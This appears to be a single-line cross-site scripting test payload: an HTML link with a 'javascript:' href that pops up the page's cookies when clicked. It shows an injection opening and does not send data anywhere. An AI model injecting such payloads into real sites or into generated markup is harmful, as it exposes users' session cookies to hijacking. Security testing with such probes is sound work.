<a href=javascript:alert(document.cookie)>click here</a>